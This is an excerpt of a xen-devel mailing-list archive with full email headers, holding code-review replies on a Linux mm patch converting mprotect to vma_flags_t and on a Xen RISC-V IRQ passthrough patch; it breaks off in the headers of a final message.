> > 		 * For secretmem, don't allow the memory to be unlocked.
> > 		 */
> > 		goto out;
> > 	}
> >
> >-	vma = vma_modify_flags(vmi, *prev, vma, start, end, &new_vma_flags);
> >+	vma = vma_modify_flags(vmi, *prev, vma, start, end, new_vma_flags);
> > 	if (IS_ERR(vma)) {
> > 		ret = PTR_ERR(vma);
> > 		goto out;
> [...]

Thanks, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 15:53:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 15:53:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352127.1609040 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJjF-0000x7-TT; Thu, 02 Jul 2026 15:53:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352127.1609040; Thu, 02 Jul 2026 15:53:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJjF-0000x0-Qm; Thu, 02 Jul 2026 15:53:29 +0000
Received: by outflank-mailman (input) for mailman id 1352127;
 Thu, 02 Jul 2026 15:53:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJjE-0000wu-1r
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:53:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJjD-007IZG-Dt
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:53:27 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a468963-5cb7-0a2a0a5109dd-0a2a450599ec-42
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:53:27 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a468976-3cb2-0a2a45050019-ac6904fed1cc-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 17:53:27 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 8A81B601CA;
 Thu,  2 Jul 2026 15:53:25 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 87BC51F000E9;
 Thu,  2 Jul 2026 15:53:08 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783007605;
	bh=rQoQgNL4RLwOJnesXJ906iiowNQYEhnsDiycftRDMfA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=RQbSkv+EjZljB5g46djvoiDLFxojsXRU7Kht7L4jS+hQfEbvLoddE5ik5cDm8RdCY
	 BqtXzK5uRv9pKYN6O4Tsu8EtqfPc36l/PyBm4MnF4L/Lj7XhDm03p3BdIE6c5nK+EW
	 WgpMr9xlTDqRIB0VqPTmKhcFe7wtPBcgkLNUiWKV6EXjD7eDfr1juT0c0xwZM3oIhX
	 yoTEQ0aDxj88mE4YuknOHetVU7Tkkxdet4F5l/46xPMCuTjg7uKR5BnT4gNu2YfNUW
	 X6p/cRUZ6h1qZ1EK6Q4sO2TBLVEUPUv3Po11nDMVUJoDiNp2oyKVRliXzikuEZxJQO
	 doneV51wWqdgg==
Date: Thu, 2 Jul 2026 16:53:01 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 12/13] mm/mprotect: convert mprotect code to use
 vma_flags_t
Message-ID: <akaIfhfbTCAdJm3H@lucifer>
References: <7ef626d8a12dc742cfc09d080be5dc09850e873a.1782760670.git.ljs@kernel.org>
 <20260701160917.91435-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260701160917.91435-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-c201ff/1783007607-151042B8-799A1D2D/0/0
X-purgate-type: clean
X-purgate-size: 4441

On Thu, Jul 02, 2026 at 12:09:17AM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:35PM +0100, Lorenzo Stoakes wrote:
> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
> >throughout the mprotect logic.
> >
> >Note that we retain the legacy vm_flags_t bit shifting code in
> >do_mprotect_key(), deferring a vma_flags_t approach to this for the time
> >being.
> >
> >Additionally update comments to reflect the changes to be consistent.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
> > mm/mprotect.c | 16 ++++++++--------
> > 1 file changed, 8 insertions(+), 8 deletions(-)
> >
> >diff --git a/mm/mprotect.c b/mm/mprotect.c
> >index 9cbf932b028c..c9504b2a2525 100644
> >--- a/mm/mprotect.c
> >+++ b/mm/mprotect.c
> >@@ -40,7 +40,7 @@
> >
> > static bool maybe_change_pte_writable(struct vm_area_struct *vma, pte_t pte)
> > {
> >-	if (WARN_ON_ONCE(!(vma->vm_flags & VM_WRITE)))
> >+	if (WARN_ON_ONCE(!vma_test(vma, VMA_WRITE_BIT)))
> > 		return false;
> >
> > 	/* Don't touch entries that are not even readable. */
> >@@ -97,7 +97,7 @@ static bool can_change_shared_pte_writable(struct vm_area_struct *vma,
> > bool can_change_pte_writable(struct vm_area_struct *vma, unsigned long addr,
> > 			     pte_t pte)
> > {
> >-	if (!(vma->vm_flags & VM_SHARED))
> >+	if (!vma_test(vma, VMA_SHARED_BIT))
> > 		return can_change_private_pte_writable(vma, addr, pte);
> >
> > 	return can_change_shared_pte_writable(vma, pte);
> >@@ -194,7 +194,7 @@ static __always_inline void set_write_prot_commit_flush_ptes(struct vm_area_stru
> > {
> > 	bool set_write;
> >
> >-	if (vma->vm_flags & VM_SHARED) {
> >+	if (vma_test(vma, VMA_SHARED_BIT)) {
> > 		set_write = can_change_shared_pte_writable(vma, ptent);
> > 		prot_commit_flush_ptes(vma, addr, ptep, oldpte, ptent, nr_ptes,
> > 				       /* idx = */ 0, set_write, tlb);
> >@@ -811,8 +811,8 @@ mprotect_fixup(struct vma_iterator *vmi, struct mmu_gather *tlb,
> > 		vm_unacct_memory(nrpages);
> >
> > 	/*
> >-	 * Private VM_LOCKED VMA becoming writable: trigger COW to avoid major
> >-	 * fault on access.
> >+	 * Private VMA_LOCKED_BIT VMA becoming writable: trigger COW to avoid
> >+	 * major fault on access.
> > 	 */
> > 	if (vma_flags_test(&new_vma_flags, VMA_WRITE_BIT) &&
> > 	    vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT) &&
> >@@ -886,7 +886,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> > 			goto out;
> > 		start = vma->vm_start;
> > 		error = -EINVAL;
> >-		if (!(vma->vm_flags & VM_GROWSDOWN))
> >+		if (!vma_test(vma, VMA_GROWSDOWN_BIT))
> > 			goto out;
> > 	} else {
> > 		if (vma->vm_start > start)
> >@@ -894,7 +894,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> > 		if (unlikely(grows & PROT_GROWSUP)) {
> > 			end = vma->vm_end;
> > 			error = -EINVAL;
> >-			if (!(vma->vm_flags & VM_GROWSUP))
> >+			if (!vma_test(vma, VMA_GROWSUP_BIT))
>
> IIUC, should this be
>
> if (!vma_test_single_mask(vma, VMA_GROWSUP))
>
> instead?
>
> #elif defined(CONFIG_PARISC)
> #define VM_GROWSUP	INIT_VM_FLAG(GROWSUP)
> ...
> #ifndef VM_GROWSUP
> #define VM_GROWSUP	VM_NONE
> ...
>
> VM_GROWSUP is only defined as GROWSUP on parisc and becomes VM_NONE
> elsewhere. But VMA_GROWSUP_BIT is the raw ARCH_1 bit, which is also used
> for other arch-specific VMA flags:
>
> 	DECLARE_VMA_BIT_ALIAS(SAO, ARCH_1),		/* Strong Access Ordering (powerpc) */
> 	DECLARE_VMA_BIT_ALIAS(GROWSUP, ARCH_1),		/* parisc */
> 	DECLARE_VMA_BIT_ALIAS(SPARC_ADI, ARCH_1),	/* sparc64 */
> 	DECLARE_VMA_BIT_ALIAS(ARM64_BTI, ARCH_1),	/* arm64 */
> 	DECLARE_VMA_BIT_ALIAS(ARCH_CLEAR, ARCH_1),	/* sparc64, arm64 */
> 	DECLARE_VMA_BIT_ALIAS(MAPPED_COPY, ARCH_1),	/* !CONFIG_MMU */
>
> Other vma_test() changes look fine to me: just fixed INIT_VM_FLAG()
> masks matching their VMA_*_BIT :)

Thanks you're right, will fix!

Again I swear I ran claude on all of this so it's failing me here :)

>
> Cheers, Lance
>
> > 				goto out;
> > 		}
> > 	}
> >@@ -918,7 +918,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> > 		}
> >
> > 		/* Does the application expect PROT_READ to imply PROT_EXEC */
> >-		if (rier && (vma->vm_flags & VM_MAYEXEC))
> >+		if (rier && vma_test(vma, VMA_MAYEXEC_BIT))
> > 			prot |= PROT_EXEC;
> >
> > 		/*
> >--
> >2.54.0
> >
> >


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 16:04:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 16:04:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352143.1609050 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJtn-00044A-U0; Thu, 02 Jul 2026 16:04:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352143.1609050; Thu, 02 Jul 2026 16:04:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJtn-000443-QD; Thu, 02 Jul 2026 16:04:23 +0000
Received: by outflank-mailman (input) for mailman id 1352143;
 Thu, 02 Jul 2026 16:04:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfJtm-00043x-KN
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:04:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJtm-00FHEq-1D
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 18:04:22 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a468bfe-2eae-0a2a0a5409dd-0a2a4507d9de-22
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:04:21 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a468c05-9c8e-0a2a45070019-d155dd31d51c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:04:21 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-4745492ed3aso1319110f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:04:21 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c6354771sm63382545e9.3.2026.07.02.09.04.20
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 09:04:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783008261; x=1783613061; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=hg7xCQml2wVUlKW51sJppmbaydhq4zZPmDS+V54apPw=;
        b=Px+9NHfdN3pCgb4XTGzb+uGgfSHfemFdFwft23qscLvnbPpQ2W+gi6OyVLk+oHoLBa
         prlaf/DVC9t57NIxPLLNdG+Cg8zVIPG49j24Iz2qjgs2WpdKU2dLHSIXf+XG2RgnrOWr
         r3FLE5AUmGFG2/aYmcmhD3g0/yB2gBmYHiFsBlXddY8wznZbXV/5XC2M9cgjbRXWaeS0
         wAoVpmvCKqLK8Hf8HZy49f3IKifwaXSrJXJBrNihrkBI3ds+IQdpYqcJ2p1nZpo1occU
         qRdpnnbYRAOsmbmEsEosVYaPlLIVSP+vRQDu3cD4KOfWo3XpCpC0UiDy+Gvnr51UwXwt
         eBQg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783008261; x=1783613061;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=hg7xCQml2wVUlKW51sJppmbaydhq4zZPmDS+V54apPw=;
        b=JX/8yu9IdQRpes3sdWtNwJQPYe02CC41VL+rNJKcAiEQQ5sdKPiWJTjTXsvWae8TFO
         kju044x2t4wI8U32R7iil12vfx0qwEoAOSe6pCNsqJpcVuI3Ioetn9TNi5uQUAnvPykj
         U2yqTZI/R+5ewAjZyb64ucqj7UAXXrXgf8SyqH1Y01CIlrIcZpdS+m5MFsWUJgBqffkV
         wmA5rq9FvuKp8C1nu9H9HEV9/WMko1nfo3wAg98YFfm87aKhJJZ2sQ6hlU0ecgSo08bn
         NY8vRVdSVvLKvApPZyt0GLMSTRGfwcWLlcpWEF5PWPQiTHHK3TS+wul8sW4Lxkpjo2ja
         B3xQ==
X-Forwarded-Encrypted: i=1; AFNElJ+ly3qLhoSfNYwcv+kSCKuQywRl6yknqOR+4Tjg+A75uGxA9cIYg+8h5Iq+ggI2wiDek8ibB2F0Vgs=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz2cbI1jz9jzUchr5bi4UkPXOirs5+Cz0FZtnFaxHT3a2jiCXqU
	pKogQOak61ivjATnWLGXQ1TzGd0P0ArgK80fKOSe29ERvSDTkvgllTFp
X-Gm-Gg: AfdE7ck7BoK4PcYqeHzFDMPSd6oIQ7pKvmkPdWy55cNcFa0h/tPo9NfhfH3t3NeUQ+R
	Fz8IXZJAuCjzsl4yA/4IQE0uTzGEzW+Ehdqo3Ks1mTVldUpBEKrcTyKGS+gusZuBjOQ8pPYGauK
	oX9beKEjbDZwU5lLkyesAAxbY8x48q7Ru0ofR2fKQBOWDjp139EKii2eD1p12Hp/sT+Hk/2D4J1
	vJxKj5i/LVw8Oq2iCTfXyXXxF3V/Px7EkpF7FQe59jIOvH5WYUBFybEe0MQH5LBooWHm9Ci9Wgn
	86QIb2SHOy/15PLFRQCV1qd0xFR8AOzmP1tCqFU4A6tj032RNTLbGryItaAx5zs+/AWm7lLsJas
	+zp7uazOI7w+qKDnrSRmBtFSVype0S5f6tBEdkcXdRWh9lAakuYxvmTx7mnRrffox9s5ZAS4nIY
	sGETdNn7hIUXtExBit3smeQtco50qZ0SUgfE6f3KtqMIkm+Cb9H6aK4gbP+XVUPpm0gnI=
X-Received: by 2002:a05:600c:34d4:b0:493:a966:d5b5 with SMTP id 5b1f17b1804b1-493c2b3a709mr98864035e9.2.1783008261100;
        Thu, 02 Jul 2026 09:04:21 -0700 (PDT)
Message-ID: <d25c4b45-c3db-4a48-bc18-da9037a858d0@gmail.com>
Date: Thu, 2 Jul 2026 18:04:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
 <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
 <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
 <91ffc1b2-7648-4185-a2f1-12b30181c8a9@gmail.com>
 <e7d430c1-fe57-4b28-a5a2-1c8bfcd54ac4@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <e7d430c1-fe57-4b28-a5a2-1c8bfcd54ac4@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1783008261-7DD2425E-221535F7/10/73395122804
X-purgate-type: spam
X-purgate-size: 2926



On 7/2/26 4:32 PM, Jan Beulich wrote:
> On 02.07.2026 11:33, Oleksii Kurochko wrote:
>>
>>
>> On 7/2/26 8:38 AM, Jan Beulich wrote:
>>
>>>>>> +    spin_unlock_irqrestore(&desc->lock, flags);
>>>>>> +
>>>>>> +    release_irq(desc->irq, info);
>>>>>> +    xvfree(info);
>>>>>
>>>>> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
>>>>> a dangling pointer. (I think I did point this out before.)
>>>>
>>>> It should freed in release_irq() as route_irq_to_guest() always set
>>>> action->free_on_release = true;
>>>
>>> Well, "free_on_release" must exits for a purpose. I.e. there must be, now
>>> or soon, cases where it's set to false. Else simply drop the field.
>>
>> I can't simply remove this field because it is part of the common
>> `struct irqaction` and is used by other arc-s. (I assume that it is not
>> what you fully meant...)
>>
>> IIUC, this field is used to determine whether an irqaction is
>> heap-allocated (and therefore should be freed) or statically allocated
>> (and therefore should not be freed).
> 
> Yes. However, all uses of the field are in arch-specific code. So in
> principle it could be #ifdef-ed out for RISC-V. There may be a better
> option, though:
> 
>> At the moment, all IRQ actions are heap-allocated (on RISC-V), so
>> free_on_release should always be set to true. In particular, the code
>> snippet you asked about releases a guest interrupt, and guest interrupt
>> actions are always heap-allocated. As a result, when release_guest_irq()
>> calls release_irq(), the associated irqaction will be freed.
>>
>> So, from what I can see, the current behavior is correct and I think it
>> should be left as it is. Do you have any concerns about this?
> 
> If you only ever have the field set to true, use ASSERT() in place of
> if().
> 

It looks like that if we want an `ASSERT()`, it should be in 
`release_guest_irq()`. However, that would require duplicating part of 
`release_irq()` to locate the corresponding `irqaction` and verify 
`free_on_release`. Since guest IRQs are created through 
`route_irq_to_guest()`, which always sets `action->free_on_release = 
true`, we are already safe.

I don't see much benefit in replacing the `if` statement with an 
`ASSERT()` in `release_irq()`. The current implementation is generic and 
would also work for Xen-owned, statically allocated interrupts (even 
though there are none today). If we replace the `if` with an `ASSERT()` 
now, anyone introducing a Xen-owned, statically allocated interrupt in 
the future would simply have to revert the change and restore the `if` 
statement, bringing us back to the current implementation.

Since the existing code doesn't break any logic and already handles both 
the current use case and potential future extensions (statically 
allocated irqs), it seems reasonable to keep it as it is.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 16:07:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 16:07:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352152.1609059 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJww-0004jh-Cq; Thu, 02 Jul 2026 16:07:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352152.1609059; Thu, 02 Jul 2026 16:07:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfJww-0004j3-8W; Thu, 02 Jul 2026 16:07:38 +0000
Received: by outflank-mailman (input) for mailman id 1352152;
 Thu, 02 Jul 2026 16:07:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfJwv-0004h5-B2
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:07:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfJwu-008dlG-H3
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 18:07:36 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a468cad-2eae-0a2a0a5409dd-0a2a450c8618-42
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:07:36 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a468cc6-f399-0a2a450c0019-aceafc1f8e1c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 18:07:36 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id E840C43BB8;
 Thu,  2 Jul 2026 16:07:33 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 8C8A31F000E9;
 Thu,  2 Jul 2026 16:07:17 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783008453;
	bh=TfvR3Muaq7o+afYbXjsDSvqRy7FxUVckvz1k4Hxbez0=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=RZKUR0qnMCX1lVPMLegWDJwvMR3XwPOjgqmuDlY8+1sNyGBX6G0WNkOyriJ+PtG6y
	 WoL1rkJ4u0k6Z/pcI27Q9cfN5qit8W5zrOm26I9VdyLr6cW2bUvNsdF/9cAdED/TO5
	 AhCJxe7BVGNUURRd3IeizZOkboEYr9oFtXUUDXIMY549O+sfZleE5cdwLHHY1Mnd5w
	 fUEwk8w3Bqh1uArvHx8Wkw0ChPSb59uuaQpmYgj0hIESSw8+X4zGBfFv8Mg5ixvDOI
	 z8XtFU+Dq4mFlmkaOHGXh7hbxcLj3TzRDApEJrIOyiLSNEjyj9JwDrdlVKeNPP3pCm
	 r9BU9h8EBQzqg==
Date: Thu, 2 Jul 2026 17:07:10 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
